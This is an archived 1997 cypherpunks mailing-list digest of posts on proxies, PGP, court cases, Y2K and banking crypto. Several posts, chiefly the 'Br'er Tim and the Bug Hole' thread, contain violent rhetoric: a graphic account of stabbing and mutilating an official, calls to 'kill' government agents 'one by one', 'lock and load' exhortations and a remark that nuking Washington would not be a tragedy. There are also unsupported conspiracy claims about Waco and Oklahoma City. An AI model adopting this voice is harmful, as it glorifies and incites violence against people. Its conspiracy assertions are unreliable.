in the standard schema, we want to contact a secure server through a proxy, so the
browser sends the CONNECT  method to the proxy to contact the remote (secure) site.

in the schema of my interest, the browser wants to contact a remote secure or insecure
site with "hiding" of the communication from some intermediate sniffers, it does
so by using a http proxy in SSL mode and then contacting the site of his choice.

This is very important for permitting web navigation in insecure environnements if
the malicious eyes dont have access to the proxy's network.
talking about HTTP proxies in general, i think setting these is as important as setting
anonymous remailers, i hope there are some ppl with enough motivation and ressources
to help broadcast safe cyberculture.
Best Regards
-- paul




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 08:20:38 +0800
To: cypherpunks@toad.com
Subject: Re: 1st Ammendment Tossed in Paladin Case
Message-ID: <199711112359.AAA07968@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> In the infamous "Twenty-Nine Palms" poll of soldiers, asking if troops
> would fire on civilians if ordered to carry out an order, the longer the
> soldier had been in the service, the less likely he was to say he would.
> (The context of this order is generally believed to be related to a
> Department of Defense involvement in the wholesale disarming of the
> population under a state of emergency, FEMA or U.N. orders, etc.)

  Note that "Twenty-Nine Palms" was the military home/liason of those
involved in the INSLAW travesty. (Everyone _not_ working for the 
Department of Justice who can say "Fuck You" to Congress and get away 
with it, raise your hand.)
 
> This is consistent with the military retireds I know being _extremely_
> anti-government. Usually with a right-wing flavor, but then that is
> understandable.

  It is a fact that we tend to narrow our range of perception when we
get involved in any cult/religion/organization and bestow some of our
own innate responsibility/authority upon them. Once separated from
the group, however, we then tend to regain more control over our
individual beliefs and values, whereupon we are more likely to recognize
where we stepped beyond or own moral/ethical values while caught up,
to whatever extent, in 'group mind.'
  This has been discussed on the list (e.g. Declan goes to Washington!)
and, thankfully, we have a weird enough assortment of not-quite-normal
SubGenius Bizzaro CypherPundits to keep us pissing all over ourselves
and one another to make the possibility of us becoming dues-paying
members of the CypherSheeple Union a remote possibility.

  A CypherPunk nuking DC would not be a tragedy. What would be a tragedy
would be if, after being asked "Why?", he or she turned around to ask
'the group', "Uuhhh...why did I do that, again? Hey! Where did everybody
go?"

  Any physical war or revolution in the future will be largely dependent
upon the success of the parallel InfoWar designed to direct (or prevent)
the thinking of those who the government provides with weapons and
authority.
  We need as many of them as possible to be smiling inwardly to
themselves
when they say, "My gun is loaded, Sarge...and I'm 'right behind' you,
all
the way."

LoadAndUnlockMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 12 Nov 1997 17:16:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <3.0.32.19971112005006.00691888@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Krispin wrote:

>Tim, like many, rationalizes his simmering anger by blaming it all on
>the "bastids in the gubmit".  But it doesn't take much insight to see 
>that there is something a little deeper going on, something a little 
>sad. 
..................................................


By jove, I think I've "got" it -  there *is* something deeper going on here:

Tim is really an undercover 'narc' -  through his provocative remarks he's
actually encouraging all the violent terrorists on the list to come out of
their lurking holes and reveal themselves.  Then he's going to turn them
all in for a cash reward, which he'll use to buy more high-tech stock.

Yeah, that's it!
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Nov 1997 15:24:14 +0800
To: cypherpunks@toad.com
Subject: Re: Here Come De' UN Train... / Re: UN Conference - Limits on Interne
In-Reply-To: <34694472.7C8F@dev.null>
Message-ID: <sqN2Fe13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger <tm@dev.null> writes:
>   ("We plan to name the baby Dimitri, if it's a boy, and Kent, if
>     it's a girl. <sorry--couldn't resist>)

Congratulations.  Here's a virtual cigar.

>   Perhaps I am ranting but, to tell the truth, I find the 'little'
> examples of daily fascist censorship/insanity every bit as scary as
> the big, important things discussed on the list, such as the UN
> moves toward putting an end to behavior that is 'bad' according to
> International standards. Maybe even _more_ scary, because the examples
> of Bob, who lives down the road, and Alice, who works as a cypherpunks
> theories model for C2Net, bring the New World Order a step closer to
> home when we hear their doors being kicked in.

C2Net are the bad guys.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Wed, 12 Nov 1997 16:14:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 1st Amendment Tossed in Paladin Case
Message-ID: <3.0.16.19971112015251.577fd49c@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This is very worrisome to me. Miami author Paul Levine wrote a novel
a while back about using a naturally-occurring chemical available to
the medical profession called succhylcholine (sp?) to commit murder
almost untraceably.

He was inspired by someone trying it, and I think people have tried
it since, and the novel could be said to be a how-to, but nobody has
tried to stop him from making money on the book. This case, by looking
to the content of the how-to, promises to turn poorly-written how-to
books into poorly-written novels, I guess. (Levine's book is well-
written and a fun read, but not every author is Paul Levine.)
JMR
[If cypherpunks, please cc me on replies. I'm on a filtered version.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh.

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 12 Nov 1997 10:35:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bell vs. Woodward--justice?
Message-ID: <199711120215.DAA28008@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Leaving aside the problem with a system where a judge can overturn the
>decision of a Jury (I have not seen all of the evidence so have no idea
>if she is guilty or innocent but if you enter a country you implicitly
>agree to abide by their laws and legal system, however what is the point
>of having a Jury if the Judge can do this sort of thing?) then the actual
>problem is the length of time that Jim is spending in prison and nothing
>to do with the Woodward case at all. It just goes to illustrate, once again,
>how laws are selectively enforced and procedures slowed in order to punish
>people who can not otherwise be punished as much as the administration would
>like to.

Throwing the woman in jail for eight months without her ever being convicted
is itself an injustice. She should have been aquitted because of that bit of
bullshit alone. Yes the same goes for anybody else who is punished in any
way before they are convicted.

That aside, you ask what the point of having a jury is if the judge can
overturn a conviction. There's no problem with the judge overturning a
conviction if the evidence warrants it, if the trial was a joke, or
something along those lines. We don't convict people in this country based
on what the public thinks of them, and that includes a jury. If the jury
convicts somebody when the evidence doesn't warrant a conviction --
regardless of the reason why they convicted them, which may be as inane as
"But he *might* have been gay, and Jesus doesn't like that" -- it is the
judge's duty in the interests of justice to overturn the conviction.

If the judge is overturning aquittals, then we have problems. And I would
suggest we lock and load if the judge had done that and thrown her in prison.
As it is, I only suggest that everyone lock and load because they threw her
in jail before she was convicted. She hadn't yet had her trial, so she
shouldn't have been in jail, period.

The same goes for Jim Bell, his "crimes," and his waiting 7 months for
sentencing.

Lock and load.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 11:02:24 +0800
To: cypherpunks@toad.com
Subject: Re: FRB Crypto Systems
Message-ID: <199711120250.DAA02358@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

John Young wrote: 
> Federal Register, November 10, 1997
> Excerpt from a Federal Reserve Bank announcement:
> 
>       ... the Reserve Banks plan to change their policy
> for ownership of the encryption boards used by depository
> institutions with dial and multi-drop connections. These
> encryption boards are currently purchased and owned by the
> depository institutions. With the replacement of the
> encryption boards beginning in the second half of 1998 to
> enhance the security of the Federal Reserve's communications
> network, the Reserve Banks plan to purchase and assume
> ownership of these boards.

  Not that they are preparing to take fascist control of all 
electronic funds in preparation for the coming Financial Holocaust.
  Has anyone that you can't look *anywhere* in the government
regulatory scheme without seeing signs of preparation for 
*seizing* control of information, finances and communications?

  I remember going into a black bar in a very bad neighborhood
in Seattle and being befriended by the nicest black man in the
whole world. After sharing intimate buddy-buddy details of his
life with me he suggested that if I gave him my wallet to hold
then I wouldn't have to worry about some of the "bad" black
people in the establishment robbing me.
  I didn't give him my wallet, but I _did_ vote for him. {;>)

El !Fool





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 12 Nov 1997 18:39:39 +0800
To: Kent Krispin <kent@songbird.com>
Subject: FREE PSYCHOANLYSIS NIGHT ON THE CYPHERPUNKS LIST!!! / Re: Br'er Tim and the Bug Hole
In-Reply-To: <v03110741b08e51241192@[139.167.130.248]>
Message-ID: <34698507.19B5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Kent Krispin wrote:
> Robert Hettinga wrote:
> > I call 'em as I see 'em, Tim. Actually, I would probably call what I said
> > there an "amateur psychological diagnosis". :-). Your mileage may vary.
> > That's what I get for indulging in the pseudoscience of psychology, I
> > suppose.
> 
> Speaking of which...

> Tim, like many, rationalizes his simmering anger by blaming it all on
> the "bastids in the gubmit".  But it doesn't take much insight to see
> that there is something a little deeper going on, something a little
> sad.
> [...]

  Since Dr. Crispin, like old Doc Hettinga, is making claims of being
able to recognize the subtle nuances of the psychological states of
other list members (patient May, in particular), I wonder if Kent is
equally adept at spotting the subtle psychological inferences in a
previous post.

~~~
  I agree with Tim (whether he said yet it, or not) that the 'feared'
is quickly becoming the 'undeniable.' The speed and volume of the 
'openly blatant' lies and increasingly recognizable 'hidden agendas'
is reaching a point where I am tempted to show my Crayola Conspiracy
Charts (TM) to the normal folks down at the bar and see if they
finally start nodding their heads, instead of laughing riotously.
  It's damn near like a good horror movie, where the nice people are
all still laughing and drinking champagne, but the darkly disturbing
cello sounds in the background are being emmitted with increasing
frequency, like the growing birth pains of the bewildered lady
who is about to give birth to the CypherPunk From Hell.
  ("We plan to name the baby Dimitri, if it's a boy, and Kent, if 
    it's a girl. <sorry--couldn't resist>)
~~~

(Subtle Hint: PENIS ENVY! PENIS ENVY!)

TOnight...the Band! / TOmorrow...the Dog!
~~                    ~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 12:36:10 +0800
To: cypherpunks@toad.com
Subject: Re: Y2K: Canada status?
Message-ID: <199711120419.FAA11926@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jean-Francois Avon wrote: 
> Please reply to my personnal address, I am not on CPunks.
> 
> Is there anybody who knows about the Y2K situation in Canada?
> 
> Should we infer that the situation will be the same here or were any preparation steps
> taken by out govt that will postpone our contry's alledged fall by 2 microseconds (time for
> any major economic catastrophy in the US to reach us here)

Canadians have the additional problem of having a lot of software which
is customized to convert differing MM/DD/YY formats back and forth. More
so than many other countries, because of the close working relationship
of many small to medium companies with American customers and vendors.

Many Canadian companies do not seem to realize that their software 
works with their 'Joe America' software package only because the guy 
who left the company six years ago did some obscure customization. 
I have seen problems that appeared only when Canadian companies 
updated their 'Joe America' software, and that was _without_ date-code 
changes.
Many companies that run Canadian versions of software are also unaware
of the customizations made to it by vendors in order to 'make' it
work with US versions as it was advertised to do out of the box.

As well, even Canadian companies who are ready and willing to tackle
the Y2K problem are sometimes unable to do so until those who their
software needs to interact with do so. It is sometimes very difficult
for them to fix the 'Canadian' parts of the code without adjusting
the 'American' parts of the code, with no assurance that once their
American counterparts do their changes, all of their work/money goes
out the window.

During the decimal/metric changeover in Canada, I had more than one
car which required me to have tools for 'both' systems, to do even
the smallest of mechanical tasks on it.

Now might be a great time to invest in companies who resisted the
move to computerization, and who still have bookeepers and the
like on staff.

CanuckMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 12 Nov 1997 12:37:00 +0800
To: John Young <jya@pipeline.com>
Subject: Re: FRB Crypto Systems
In-Reply-To: <1.5.4.32.19971112020047.00a4d1e0@pop.pipeline.com>
Message-ID: <Pine.BSF.3.96.971112052349.24855C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 11 Nov 1997, John Young wrote:
[On hardware crypto used in banking].

> Are these systems related to Kawika Daguio's comments on
> PCCIP forwarded by Declan yesterday? Anyone have more
> detailed info on the boards and link encryptors?

The hardware crypto used by banking networks is universally
underperforming and overpriced. As the leading vendor is losing market
share due to the fact that customers are starting to wonder why they are
paying $5-10k for a device that is outperformed by a Pentium 90, some
enterprising vendor of such devices has aparently convinced the Fed to
help him elimiate  competition by means of regulations. Your basic
government contract con job.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Wed, 12 Nov 1997 21:50:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP's SMTP enforcer and ISPs
Message-ID: <879341609.22334.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart, stewarts@ix.netcom.com wrote:
>(Jon Callas recommends 
>using -----BEGIN ZZZ ENCRYPTED STUFF----- to avoid the PGP SMTP filters
> :-)

This is another bizarre issue in the whole CMR saga. PGP Inc are going
to corporations and telling them that the SMTP enforcer will allow them
to read all incoming email. Then they go out on the Net and tell people
how to get around the system. Either their customers are as dumb as PGP
appear to think, or the corporations will simply scrap CMR and just escrow 
keys in case people start taking PGP Inc's advice.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 12:58:28 +0800
To: cypherpunks@toad.com
Subject: Communications
Message-ID: <199711120446.FAA14275@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Chaff

Import receive smuggle hide conceal compartments ship train truck vans illegal gang

weapons autos munitions ammunition explosives nitro c4 plastic powder casings bullets

rifles ammo sawed off pistols shipment cargo docks stash cache Bosnia France Libya

Africa Mexico Sud Amercia chopper plane night fight low runway drop pickup wait cover

kill execute hit target plan arrangement cash payoff $100,000 taxes evade $1,000,000

Switzerland Zurich offshore bank account numbered feds atf batf dea escape hidden

internet international gmt london interpol gs-9 brits sas terror government fuel oil

diesel fertilizer racing mix formula files secrets encrypt pgp intercept caution

fbi president plane movement ss mafia kennedy criminal shoot hackers militia

extremists fight constitution big brother congress freedom jefferson original

cia dia military joint chiefs council united nations new world order one russia

socialists communists crack cocaine

Copyright 1997 Noise Inc.

Distribute by law.        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 13:20:44 +0800
To: cypherpunks@toad.com
Subject: Re: Bell vs. Woodward--justice?
Message-ID: <199711120506.GAA16422@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>If the judge is overturning aquittals, then we have problems. And I would
>suggest we lock and load if the judge had done that and thrown her in prison.
>As it is, I only suggest that everyone lock and load because they threw her
>in jail before she was convicted. She hadn't yet had her trial, so she
>shouldn't have been in jail, period.

She was under indictment for murder, no? I don't know how Massachusetts
handles murder suspects before trial, but in many states those accused of
capital crimes don't get the benefit of bail. (Ditto for those who are
flight risks, etc.) Of course, prosecutors perforn their own dog-and-pony
show in front of the judge/magistrate, claiming that the accused is not
only guilty of everything one could imagine, but also a smarmy type who
would double-park during rush hour and probably has connections to the
Illuminati, neo-Nazi hate groups, and the O.T.O.

The logical extreme of what you propose is that, for a serial murderer, jail
would just be a rest stop between killings. "He was caught in Idaho and
indicted for murder, but they released him on bail. So he went over to
Montana and killed someone there, but they had to release him, too."
Surely there must be some reasonable middle ground.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 21:23:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v0310280cb08e6e08c8f3@[207.167.93.63]>
Message-ID: <v031107a6b08f53b9b499@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:18 pm -0500 on 11/11/97, Robert Hettinga wrote:

Feh. A typo.

> Now, Tim, is over the top. Whether it's nonsense, of course, I leave for
      ^ that, ^
> others to judge.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 21:05:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole (fwd)
In-Reply-To: <199711120444.WAA02100@einstein.ssz.com>
Message-ID: <v031107aab08f55821ff0@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:44 pm -0500 on 11/11/97, Jim Choate wrote:


> No, being a ferret is *not* an insult but rather a compliment. Pound for
> pound if you got to pick a fight don't pick one with felines or mustellids
> they *will* kick your weasy little butt.

I meant no insult to ferrets. I like ferrets. (Yes, I know, you know
ferrets, ferrets are friends of yours, and I'm no ferret. :-)) In fact, I
used ferrets on purpose, because I like them, and mere was a direct
reference to relative size and nothing else.

Could you admit, that in a showdown between a ferret and a lion, the ferret
would be best served using his brain rather than his claws?

I knew you could...

Cheers,
Bob "Aseop" Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 12 Nov 1997 18:51:19 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <1.5.4.32.19971111233358.00a03ac8@pop.pipeline.com>
Message-ID: <19971112.100558.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971111:1833, in <1.5.4.32.19971111233358.00a03ac8@pop.pipeline.com>, 
    John Young <jya@pipeline.com> was purported to have 
    expostulated to perpetuate an opinion:

>Dumb of me to get in the middle of this, but the bloodlust's
>up:

    the beast, John, remember the beast...

>Tim's statements are gutsy and right: there's no gain
>in self-censoring, shading one's anger to appease
>the goons of whatever firepower. (Bob, go to end.)

    yes, Bob, go to end, before I inflame you even more.
    that goes for the candy-ass left-wing Hallam-Baker, too.

>Most massive firepower can't focus on or hit exclusively
>small targets, that's what's a lie about "surgical" strikes. 
>Waste the countryside, yes, hit one rabbit and not the
>beloved dog and fellow hunter, little chance. What it
>takes is sharpshooting: a one shot, one target, one
>pig, one sticker.

    known fact, wipe 'em out one by one, including their pets.

>True, Horushi's snipe worked, it nailed an innocent, though
>a couple of others died to set him up for his own nailing.

>True, Waco worked, it charred a crowd of innocents, though a
>few others got plugged setting up the roast, and the 2nd roast.

    govt. instigation, to validate their need for more 
    suppressive laws on speech and firearms.

      "And the Clinton administration launched an attack
        on people in Texas because those people were
        religious nuts with guns.
       Hell, this country was founded by religious nuts 
        with guns." 
            --P.J.  O'Rourke.

    Ditto, Oklahoma City. classic case of burying the evidence, 
    literally.

>True, firebombing works, as does mass weaponing --nukes, 
>chemicals and germs -- but indiscriminately, by terrorism
>of the masses, at the price of also terrifying the citizenry 
>paying for the megadeath heritage.

    the zealot does not care. there has never been mercy in
    war, but only the losers stood for "war crimes" --until
    Lt. Calley.

>All standoff firepower is limited against the individual by 
>imprecision of the killing machines and cowardice of the
>operators -- artillery, planes, ships, satellites, take your
>pick. They savage territory to save the operator's ass,
>who, as anyone knows who been around these candyass
>strutters, aint got what it takes to cut the guy's throat
>who's stabbing your eye.

    real easy for the candystripers to send troops they've
    never seen to their deaths --they're just numbers and 
    statistics. the 30 day wonder boy 2nd lieutenant has a
    better than 50% chance of dying with a bullet in his
    back.

    then they send the more blatant and visible ones to
    spec-ops where we can all get down to some serious killing.

    look the killer in the eye --tap him upside the head to
    see if the light is still on, and you can read the writing
    on the back wall of the cranium. reality check.

    I'll take 500 more of those over 50,000 Marines, thank you.

>What's my point? Well, for lack of a better word, it's personal
>courage, going nuts when the time's right, the guts to not shut 
>the fuck up when you're told to by those who're a whole lot 
>bigger, who've got more armaments and thinks they're smarter 
>and more ruthless and meaner and have the troops, rank and 
>medals to back it up. Just remember that most of those strengths 
>are for getting somebody else or a machine to do what is too 
>fucking terrifying to do yourself directly.

    patience, John, patience... let them give the fucking orders,
    then just go and do the job right.  

    dont worry, the strutting bastards will claim the credit for
    your kill anyway.

>Do this when the monster accosts: pull your forelock, say sorry 
>sir, then upstab the fucker's groin, as he doubles, hack the cord,  he'll go
>down quivering, then cut out his liver, kick up his green  face, squat close,
>show him the blob, take a bite, chew, savor,  swallow, put lip to dying ear,
>whisper, "tasty."

    yup, wait until he moves into position, thinking he has his
    way, then put that boot on his gonads all the way to his 
    throat.  patience, patience, kill.

        then toss your calling card on the scene.

>Go home, get a beer, stare the tube, sharpen your tool. Or as
>maddog Tim sez, lock and load.

    I doubt Tim has his tools visible --just handy.

>But look, I'm with Bob, too, my tool's philosophy gone berzerk,
>trash words, wags, gags, alliterations, mouth shooting. My steel 
>weapons are locked from burglars who scare the shit out of me just by looking
>like ordinarily ugly wall streeters, that is, like my maddog  neighbors eyeing
>me for junk IPO sales.

    sure hate to be that maddog neighbor if he rubbed on you, 
    John.  who you kidding?

>Sure glad my war's long over, happily getting dimmer, easier to forget the
>godawful. Hey, it's veteran's day, anybody want to croak and limp  to glories
>past?

    remember 1964.

    my uncle was 40 when he reupped Marines NCO for WWII; he was
    50 when he tried to reup Marines for Korea--they wouldn't
    let him go Marines, but he did go to Inchon as a Navy 
    Seabee...

    in 1950, and even at the beginning of the 60s we thought we
    were doing our duty for God and for country --wrong.
    
    no, and I aint goin' to shut up with those bastards from
    Washington disgracing themselves and pissing away our 
    heritage in the New World Order bullshit --it's them same
    old stories of rape, pillage, and burn by the privileged 
    class --redistribution of wealth, disenfranchise the
    rest of us...  

    nothing new in history; read Catulus or Marcellus from 2,000 
    years ago.

    to the victor goes the spoils? not necessarily.

        to the victor goes the right to [re]write history.

    which is why crypto freedom is our freedom.

   "Giving money and power to the government is like
      giving whiskey and car keys to teenaged boys"
        --P J O'Rourke

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNGmIp7R8UA6T6u61AQGbRwH/cBu1wuNLhbp9HXrj+y84fEY6WKN98may
Zu6rmuM5DOG5AHLEx33qY9riopvb91Eso/SlLX4Rb/IZKR9tCOhfIA==
=S8PW
-----END PGP SIGNATURE-----

    

    








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 12 Nov 1997 19:47:09 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
In-Reply-To: <199711112333.RAA02693@dfw-ix3.ix.netcom.com>
Message-ID: <199711121125.MAA21236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Try this Monty:

The new owner of the Monty persona is defined to be the first public
key which is signed by Monty's private key and posted to this forum.

So the buyer sends Monty a public key, and Monty signs it and posts it
to the list.  (Optionally via a trusted third party to ensure fair
play.  There is a race condition in the making there but it's not too
bad, we could fix it if we were bothered.)

So Monty can cheat and post one he signed earlier selling to a
different key, but we will ignore those because we base it on first
posted.

Buyers will no longer be interested in buying Monty's persona after
they have seen it sold, because they know it is no longer his.

The person who buys Monty's persona could resell it.  Using the same
protocol.

Amad3us

(As there seems to be some confusion about my public key block, here
it is again with Version field and blank line; I surmise that the
problem Bill Stewart encountered was that pgp5.0 can't handle armor
without blank lines (or maybe without blank lines and Version))

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i

iQCVAwUBNGmOY/KMuKFNFivhAQGtYQQAiuHfEmQsxdyymteBsXFbPjReG8UdUemo
rBAextXL8cwohQ20ub1w/Icn+r6zSDE7qHz7nCDaUS/0lUTTVHv5W47RyEf1vvwn
U6bEf84frSKwbmAghvb6jMMKY3qPVu/UBrVtof3cryKoNxQXxwDdOA6nyYHngdp0
3D/WZmMDUfc=
=y2jn
-----END PGP SIGNATURE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0PokAlQMFEDRbjMPy
jLihTRYr4QEB38ED/1P9L2yLURl5B2GJok3eIf6EnF1ahFxSK7wuK++YfKRKb3Ku
oPTzwSXH+92PZX28dpC+aYu8Qb0dMSCk4Cadn9cxz4n42u509JU4z0o897lB4u2I
TxV3YKbBAQSv/jZ/Gq8drdFtemQXUPigNL6IjDAPc/REiHv7IZNKAniSBo1P
=N8Gg
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Wed, 12 Nov 1997 20:38:37 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Bell vs. Woodward--justice?
In-Reply-To: <v03102800b08d18c99cbf@[207.167.93.63]>
Message-ID: <199711121324.PAA14037@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



On 11 Nov 97, Paul Bradley <paul@fatmans.demon.co.uk> was found to have 
commented thusly:

> 
> > Apparently shaking a baby to death is a lesser crime than opposing
> > government fascism and having a continuing interest in chemistry.
> 
> Apparently so, I must say in this particular case I see a cause for an 
> aquittal based on reasonable doubt, but I`m not a juror so I didn`t see 
> all the evidence so my opinion is not really valid. The general principle 

The question is why she shook the baby at all.  If you have a sick 
baby, you call the emergency medical services, period!   And especially 
if the child is not your own.

This 19-year old was way out of her league and not at all fit for 
child care activities.  I am a firm believer that baby care for 3 year 
olds and less should be licensed.  The requirements for the license 
would be minimal.  It just merely shows that you understand that babies 
less than 1 year of age often cry--some hardly at all, others damn near 
all the time--and that 97% of the time there is a reason that can be 
found and the solution implemented, and the other 3% of the time the 
reason is beyond our understanding, but things will just seem to take 
care of themselves.  The licensing procedure might also be a way of 
checking if you have the minimal temperment to deal with infants and 
small children.

I frankly think the 19 year-old is guilty of negligent homicide (that 
is, causing the death of the baby because of ignorance of proper baby 
care).  I could go on and on about my idea of proper 
parenting (and baby care), but I don't think the people on this list 
would like the drift.

> It makes a mockery of the judicial system that a judge can overturn a 
> verdict like Zobel has done in the Woodward case, sure, allow her to 
> appeal, but giving an appointed official the power to decide a verdict 
> makes me sick, and a sentence of 279 days for manslaughter is a joke.

Having lived on the outside of America now for some time, I know that 
those who are not Americans have a hard time figuring out our justice 
system.  But although each state has its own set of penal codes, they 
are pretty much uniform in their agreement about trial procedure 
regarding disposition of felonies.  I think there is a reasonable 
argument that the prosecution should be interested in justice or in 
being a representative of The People of the State of ...:  does the 
prosecutor really believe that the accused committed the crime, or is 
there a district attorney election coming up and this murder rap has to 
go down soon?

What about the judge?  His first purpose is to make sure the law is 
followed, especially with respect to trial procedure.  But with the law 
is JUSTICE!  It has always been my belief that the ultimate goal of 
these sacred occasions is justice.  In California--from where I come 
and a state which often leads in setting standards of 
jurisprudence--the judge has the absolute right to overturn a 
guilty verdict or modify it in some way rather than let it go to an 
appellate court and make those guys mad.

The judge in this case never overturned the verdict (an action 
appealable in any case) but said she was guilty of the crime of shaking 
the baby to death, but not intentionally.  Since the 19 year old 
doesn't deny shaking or "rough handling" the baby, there is no 
reasonable doubt.  In my state, she is guilty of voluntary 
manslaughter.  I also would have sentenced her to receive instruction 
on how to be a better parent and how to "chill out" whenever a baby 
cries.  gawdhelpusall, but one day this woman may be a mother!

I am rather curious to know where public opinion lies in the UK, just 
to get a fix on cultural differences.

Mitch Halloran
Research Biochemist/C programmer/Sequoia's (dob 12-20-95) daddy
Duzen Laboratories Group
Ankara   TURKEY
mitch@duzen.com.tr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 22:51:32 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: NoneRe: Databasix conspiracy theories
Message-ID: <199711121408.PAA07532@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Andy Dustman <andy@neptune.chem.uga.edu> wrote:

> > Maybe the next time Gary, Linda, or Paul send a remailer operator a
> > complaint, the operator will know what to expect next. 
> 
> I did get one complaint from Gary Burnore about stuff being sent directly
> to him. He wasn't a jerk about it, and I haven't heard a peep out of him
> since.

